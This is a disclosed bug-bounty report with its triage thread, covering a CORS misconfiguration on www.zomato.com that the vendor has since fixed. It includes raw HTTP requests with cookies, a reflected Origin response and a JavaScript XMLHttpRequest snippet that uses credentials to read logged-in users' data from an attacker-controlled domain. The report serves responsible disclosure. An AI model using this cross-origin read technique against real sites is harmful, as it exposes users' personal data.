153

[www.zomato.com] CORS Misconfiguration, could lead to disclosure of sensitive information

Share:

State	○ Resolved (Closed)
Disclosed	**November 28, 2018 11:56am +0800**
Reported To	Zomato
Asset	*.zomato.com (Domain)
Weakness	None
Bounty	$550
Severity	Medium (5.9)
Participants	
Visibility	Disclosed (Full)

Collapse

TIMELINE · EXPORT

ahd911 submitted a report to **Zomato**.

Oct 20th (2 months ago)

Summary:

Cross Origin Resource Sharing Misconfiguration | Lead to sensitive information.

Description:

An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.
Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk.
If the site specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to bypass any IP-based access controls by proxying through users' browsers.

Platform(s) Affected: [website]

*.zomato.com

Steps To Reproduce:

Proof Of Concept 1:

Request:

```
GET /abudhabi HTTP/1.1
Host: www.zomato.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.zomato.com/
Cookie: zl=en; fbtrack=0c8f198276217196ed64230da7ec8506; _ga=GA1.2.1887254439.1538912146;
_gcl_au=1.1.2098169460.1538912146; dpr=1; __utmx=141625785.FQnzc5UZQdSMS6ggKyLrqQ$0:NaN;
__utmxx=141625785.FQnzc5UZQdSMS6ggKyLrqQ$0:1540032478:8035200; G_ENABLED_IDPS=google; cto_lwid=8a9f6540-307d-
4333-bd04-96eebdec23b1; SL_C_23361dd035530_KEY=05a4e27ac591b9ca633a4fe9b5fdc3875e22560f; fbcity=57; zhli=1; al=0;
_gid=GA1.2.1724569398.1539946684; [redacted]; session_id=c541029346655-a68e-4a04-b2f8-ef1992b2e230;
AMP_TOKEN=%24NOT_FOUND; csrf=a84df4c9f61aadf31a4f1dd4ca48be6e;
ak_bmsc=2C67C71C92EB260D24B70A22BB690F2C4F8C5EB21A5B00008607CB5B69982B47~plvdYiMgFHceTWhzyAX5U631p9L1788
qeXL/lAyNPHymsMAnv6mHZSJNA05zvLH2oloYhZh2lVuMrSYmbcah8ADEJOyyFO27PZ5N/H1Cdvks7MZe3E9Y91EtRL8tbHwWka49I9RjD
SrHVcgq5z4OIk8dfQd05szzsPKkleP3Jp9MJD1rVdLEcg2cCHoQYw5ciHDvhZtMWN6RD0DxZBoe3LPsfb37q5xqHTQ8h9XpyqUzc=;
```

```
_gat_city=1; _gat_country=1; _gat_global=1; _gat_globalV3=1;
bm_sv=EDBA03CA40AC8D77509922CAA98130B4~OXaAg7LsgySzeWnqd9TzoaW6pGtPv7Ut2dYfUp7otuPnD1uJi3BUwSCYQiDP4q92Na
iK6GLXT8xxPmWSgspcRyYjatr3Zc5lDyt8+MMSsDmykSMruOC6+5BPCXCEX+HulBpygHFzTAQJSoPSYxgsSjsbymzdQq/Q90b/MvSGLbo=
Connection: close
Upgrade-Insecure-Requests: 1
Origin: developersxzomato.com
```

Response

```
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 127168
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block; report=https://www.zomato.com/cspreport.php
Content-Security-Policy: frame-ancestors https://.nearbuystag.in https://.nearbuy.com 'self'; default-src *; font-src * data:; img-src * data:; media-src * blob:; script-src 'self' 'unsafe-inline' 'unsafe-eval' *.jwpcdn.com *.cloudflare.com *.twitter.com *.recruiterbox.com *.zdev.net *.zdev.net:8080 *.zomato.com *.tinymce.com *.gstatic.com *.googleapis.com *.google.com *.facebook.com sdk.accountkit.com *.doubleclick.net *.googlesyndication.com *.nr-data.net *.newrelic.com *.google-analytics.com *.akamaihd.net *.zmtcdn.com *.googletagmanager.com *.facebook.net *.googleadservices.com *.cdninstagram.com *.googlesyndication.com *.inspectlet.com *.spreedly.com *.instagram.com *.twimg.com *.mouseflow.com *.usersnap.com d3mvnvhjmkxpjz.cloudfront.net *.serving-sys.com *.sushissl.com *.pubnub.com tsgw.tataelxsi.co.in *.branch.io app.link cdn.poll-maker.com *.ampproject.org *.smartlook.com *.hotjar.com dashboard.hypertrack.io zba.se *.googletagmanager.com *.eff.org cdn.plot.ly *.zedo.com *.bing.com *.criteo.net *.criteo.com mddigital.in; style-src * 'unsafe-inline';
Access-Control-Allow-Origin: developersxzomato.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type, X-ZOMATO-CSRFT, *
Server: Zomato
Strict-Transport-Security: max-age=31536000
Expires: Sat, 20 Oct 2018 12:29:00 GMT
Pragma: no-cache
Date: Sat, 20 Oct 2018 12:29:00 GMT
Connection: close
Set-Cookie: LEL_JS=true; expires=Sat, 20-Oct-2018 12:59:00 GMT; Max-Age=1800
Cache-Control: max-age=0, no-cache, no-store, no-transform
Vary: Accept-Encoding, User-Agent
Strict-Transport-Security: max-age=31536000
Set-Cookie:
bm_sv=EDBA03CA40AC8D77509922CAA98130B4~OXaAg7LsgySzeWnqd9TzoaW6pGtPv7Ut2dYfUp7otuPnD1uJi3BUwSCYQiDP4q92Na
iK6GLXT8xxPmWSgspcRyYjatr3Zc5lDyt8+MMSsDnq267a1bOhniBmABAbrga8gmdQdjDNE5GsLvrlCcm07Q3hffJKqLj7hIkMIJhtw4g=;
Domain=.zomato.com; Path=/; Max-Age=1053; HttpOnly
```

POC 2

Open http://developersxzomato.com/ in browser and click ## Exploit .

or:

Open any browser and go to http://developersxzomato.com/ then inspect the page and go to console.
run the following code in console and you would find it pops up user information var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://www.zomato.com/abudhabi',true); req.withCredentials = true; req.send('{}'); function reqListener() { alert(this.responseText); };

How to fix:

Rather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.

Note:

- Take note from request I inject a header Origin: developersxzomato.com then from response it returns Access-Control-Allow-Origin: developersxzomato.com Which mean there is CORS misconfig here.
- All testing was made by a test user ## ahd911 and only this user .
- I hosted a website which is ## developersxzomato.com to proof this vulnerability.

Impact

Impact:

Attacker would treat many victims to visit attacker's website, if victim is logged in, then his personal information is recorded in attacker's server.

If the site specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to bypass any IP-based access controls by proxying through users' browsers.

1 attachment:
F363614: Zomato_CORS.png

prateek_0490-zomato changed the status to ○ **Needs more info**. Oct 20th (2 months ago)

Hi @ahd911,

Thank you for submitting this report. In order to properly verify the existence of this misconfiguration, we ask you to provide a working proof of concept ideally, an exploit that would demonstrate that the CORS misconfiguration can lead to the theft of user credentials, tokens, or other information that would cause an account takeover or trigger state-changing actions.

Thanks,
Prateek

ahd911 changed the status to ○ **New**. Updated Oct 20th (2 months ago)

Hi @prateek_0490-zomato ,

Thanks for your response.
Here is another example of what data can be retrieved from a domain is not from zomato domains or sub-domains.
As you can see user_id, query_id, query_type, entity_id, city_id, etc are shown in the response.
And you can even change profile picture from the upload link.

I hope this can help

Thanks

ahd911

1 attachment:
F363630: Zomato_CORS_2.png

prateek_0490-zomato changed the status to ○ **Needs more info**. Oct 20th (2 months ago)

@ahd911 - All these which are being retrieved is public info anyway, so doesn't harms us :)

If you cannot escalate this to leak user credentials, tokens or any PIIs then I'm afraid, will have to close this as informative.

Thanks,
Prateek

prateek_0490-zomato closed the report and changed the status to ○ **Informative**. Oct 29th (about 1 month ago)

@ahd911 - Hi, Thanks again for your report. If you find a way to escalate it, we would be happy to reopen it, for now we are closing it as informative (so that you don't lose out on reputation points).

You can file a new report if you find a way to escalate it or make a comment here and we will reopen and fix it.

Thanks,
Prateek

prateek_0490-zomato updated the severity from High to None. Oct 29th (about 1 month ago)

vinothzomato **reopened** this report. Nov 24th (17 days ago)

Hi @ahd911,
We are looking into this issue.

ahd911 posted a comment. Nov 24th (17 days ago)

Thanks vino for reopening the report.
I'm looking forward to hear good news.

vinothzomato closed the report and changed the status to ○ **Resolved**. Nov 24th (17 days ago)

Hey @ahd911,
This has been fixed. Thanks for helping us keep @zomato secure :)

Thanks,
Vinoth Kumar

vinothzomato updated the severity from None to High. Nov 24th (17 days ago)

ahd911 posted a comment. Nov 24th (16 days ago)
Wow . Thanks Vinoth.
And I'm so glad for making zomato secured.

Is this bug iligable for bounty ?

ahd911 posted a comment. Nov 24th (16 days ago)
And good job zomato team the bug have been fixed.

1 attachment:
F380087: Good_Job.png

Zomato rewarded ahd911 with a **$500** bounty. Nov 24th (16 days ago)

prateek_0490-zomato **reopened** this report. Nov 24th (16 days ago)
Reopening it for a review before we push the final changes. Would help us keep better track.

Thanks,
Prateek

ahd911 posted a comment. Nov 24th (16 days ago)
Thanks Prateek for the bounty but I think it deserves more bounty.

You closed the report from a month and Mr Vinoth opened it again cause it's a high severity issue.

There is a report with the same severity closed two months ago with bounty 750$ and bonus 750$.
https://hackerone.com/reports/403783

Counld you please take this in consideration ?

prateek_0490-zomato updated the severity from High to Medium (5.9). Nov 24th (16 days ago)

prateek_0490-zomato posted a comment. Nov 24th (16 days ago)
@ahd911 - I just adjusted CVSS score.

We reopened it because we thought to fix the misconfiguration, however, just so that you're aware, you were not able to escalate the attack and didn't demonstrate the leak when we asked you to do so. Still, we decided to reopen and reward you :)

> There is a report with the same severity closed two months ago with bounty 750$ and bonus 750$.
> https://hackerone.com/reports/403783

Your report is different from the above one (impact wise), and during that time period we were running double bounty promotion :)

We appreciate your report and thank you for your efforts. Thank you for thinking about @zomato security.

Best,
Prateek

ahd911 posted a comment. Nov 25th (16 days ago)
Thanks Prateek for your response.
I appreciate it a lot. And thanks Zomato team for giving me my first bounty in my life :)

Could we please disclose this report in public ?

prateek_0490-zomato posted a comment. Nov 25th (16 days ago)
@ahd911 - Once we change the status to resolve, we can do a limited disclosure :)

Please wait until we change the state to `Resolved`.

Thanks,
Prateek

○— prateek_0490-zomato closed the report and changed the status to ○ **Resolved**. Nov 25th (16 days ago)

○— ahd911 requested to disclose this report. Nov 25th (16 days ago)

ahd911 posted a comment. Nov 26th (15 days ago)
Can we disclose this report @prateek_0490-zomato or I have to wait ?

Zomato rewarded ahd911 with a **$50** bonus. Nov 28th (13 days ago)
Adding $50 as bonus for the domain you purchased for POC :) Enjoy.

○— prateek_0490-zomato agreed to disclose this report. Nov 28th (13 days ago)

○— This report has been disclosed. Nov 28th (13 days ago)

○— prateek_0490-zomato changed the report title from **Cross Origin Resource Sharing Misconfiguration | Lead to sensitive information** to **[www.zomato.com] CORS Misconfiguration, could lead to disclosure of sensitive information**. Nov 28th (13 days ago)

ahd911 posted a comment. Nov 28th (13 days ago)
Thanks @zomato for your appreciation.
And I'm so happy making zomato secured.
I'll inform you if I found any new issues.